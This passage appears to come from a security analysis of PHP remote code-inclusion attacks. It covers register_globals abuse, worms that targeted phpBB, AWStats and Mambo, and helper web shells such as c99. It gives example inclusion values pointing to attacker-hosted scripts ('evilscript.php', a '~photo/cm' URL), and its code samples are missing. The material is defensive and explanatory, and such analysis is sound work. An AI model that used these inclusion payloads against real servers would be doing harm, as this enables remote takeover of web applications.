A remote code-inclusion attack works similarly; for example the following PHP code:
will include a PHP file into the currently executing script. Under certain circumstances, such as the configuration item register_globals being enabled, an attacker may be able to change the value of the variable $librarydir. (Register_globals means that PHP will automatically initialize variables from HTTP GET parameters without the programmer's intervention.) Some configurations of PHP allow the inclusion of code specified by a URL rather than a local file name. The attacker exploiting this vulnerability may attempt to set $librarydir to a value such as
"http://126.96.36.199/evilscript.php". If the attack is successful the attacker gains control of the web application.
Remote code-inclusion attacks have occurred in a wide variety of PHP applications, notably the Mambo CMS. Typically the attacker includes a script that attempts to execute a command such as one fetching further malware. These utility scripts are often quite full-featured and some have integration with databases and allow the invocation of shell commands, sending of email and viewing of files on
the web server. See Appendices A and B for more details related to this type of attack. The vulnerability classes - remote code-inclusion and command injection - should be considered serious as they have resulted in a number of high profile worms attacking the following software:
PHPBB, reported December 21, 2004, attacked by the Santy worm.
AWStats, PHPXMLRPC, WebHints reported November 7, 2005, attacked by the Lupper worm.
Mambo, reported December 6 2005, attacked by the Elxbot worm.
Mambo, PHPXMLRPC, reported February 20, 2006 and attacked by the Mare worm.
An example attack we observed against Mambo CMS is as follows. Again, it is simply a malicious HTTP GET request, exploiting the vulnerability described in Secunia Advisory #14337 :
This has the effect of executing the script of the attackers choosing, here 'http://192.168.57.112/~photo/cm' - the exact operation of the exploit against the vulnerability can be seen in 'Mambo Exploit' in Appendix A. In this case, the included file is a 'helper' script which attempts to execute the operating system command given by the 'cmd=' parameter. Here the commands given would cause the helper script to be written over the 'index.php' file and the details of the operating system and IP address to be sent to two email addresses. The attackers could then revisit the vulnerable systems at a later date.
An example of a particular helper script, the c99 shell is given in Appendix B, but such scripts typically allow the attacker to execute operating system commands and browse the file system on the web server. Some more advanced ones offer facilities for brute-forcing FTP passwords, updating themselves, connecting to databases, and initiating a connect-back shell session.